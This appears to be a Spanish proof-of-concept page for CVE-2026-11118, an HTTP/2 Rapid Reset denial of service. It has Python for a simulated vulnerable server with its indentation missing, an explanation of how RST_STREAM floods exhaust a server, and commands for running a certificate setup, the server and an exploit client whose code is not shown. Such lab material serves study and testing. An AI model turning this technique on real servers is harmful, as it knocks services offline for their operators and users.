
PoC en Python para CVE-2026-11118 que demuestra un DDoS de Rapid Reset HTTP/2 mediante agotamiento de recursos por RST_STREAM; incluye un simulador de servidor vulnerable y un cliente de exploit.
# http2_server_sim.py - Simple HTTP/2 server that processes reset streams
import socket, ssl, h2.connection, h2.events
def handle():
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 8443))
sock.listen(5)
conn, addr = sock.accept()
ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
ctx.load_cert_chain('cert.pem', 'key.pem')
tls = ctx.wrap_socket(conn, server_side=True)
h2conn = h2.connection.H2Connection(client_side=False)
h2conn.initiate_connection()
tls.sendall(h2conn.data_to_send())
while True:
data = tls.recv(65535)
events = h2conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.RequestReceived):
# Start processing, but quickly reset if too many
h2conn.reset_stream(event.stream_id)
print("Reset stream")
tls.sendall(h2conn.data_to_send())
# (Run in a thread)
Un servidor HTTP/2 no limita la tasa de reinicios de flujo (tramas RST_STREAM). Un atacante puede abrir un gran número de flujos y reiniciarlos inmediatamente, lo que provoca un consumo excesivo de los recursos del servidor sin necesidad de completar ninguna solicitud, lo que lleva a una denegación de servicio.
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
python http2_server_sim.py
python exploit_http2_rapid_reset.py
El servidor deja de responder debido a la alta tasa de reinicios.